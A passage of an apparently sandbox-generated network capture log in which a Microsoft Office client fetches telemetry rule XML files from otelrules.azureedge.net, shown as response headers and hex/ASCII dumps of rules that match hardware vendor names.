2024-12-05 21:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:56 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 4a622c55-e01e-0099-7fc1-45da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211656Z-1746fd949bdjzh7thC1EWR3g6400000003b0000000008x9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:56 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:55 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:56 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: c2908fd4-501e-00a0-4ac8-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211656Z-1746fd949bdxk6n6hC1EWRdr8c000000032g00000000hxqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:56 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:55 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4628c04c-d01e-0017-18cc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211656Z-1746fd949bdjrnwqhC1EWRpg2800000003d0000000003w5d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:55 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:56 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: d3611829-901e-007b-22c2-45ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211656Z-1746fd949bd77mkmhC1EWR5efc00000003eg00000000sk2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:56 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:56 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:56 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: dbf49064-101e-00a2-1bc6-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211656Z-1746fd949bd6ztf6hC1EWRvq2s00000002sg00000000zrmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:56 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:58 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6818e2c2-d01e-0065-16d2-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211658Z-1746fd949bd6zq92hC1EWRry48000000034000000000vxdz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:58 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:58 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: c2a94a43-501e-00a0-7dd0-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211658Z-1746fd949bdb8xvchC1EWRmbd4000000035000000000r3b6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:58 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:58 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:58 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2b878731-501e-008c-34ce-45cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211658Z-1746fd949bd2cq7chC1EWRnx9g00000002w000000000hqfr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:58 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:58 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 6223bc78-401e-0015-38b6-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211658Z-1746fd949bd4w8sthC1EWR700400000002w00000000106wz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:58 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:58 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:58 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 864f0b94-901e-00a0-42cc-456a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211658Z-1746fd949bddgsvjhC1EWRum2c00000003n0000000001ch5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:00 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: de914170-201e-0000-68ad-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211700Z-1746fd949bdjzh7thC1EWR3g6400000003ag00000000as32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49806	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:00 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c6f23c72-c01e-000b-308b-46e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211700Z-1746fd949bd9x4mhhC1EWRb76n00000003b00000000099hd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
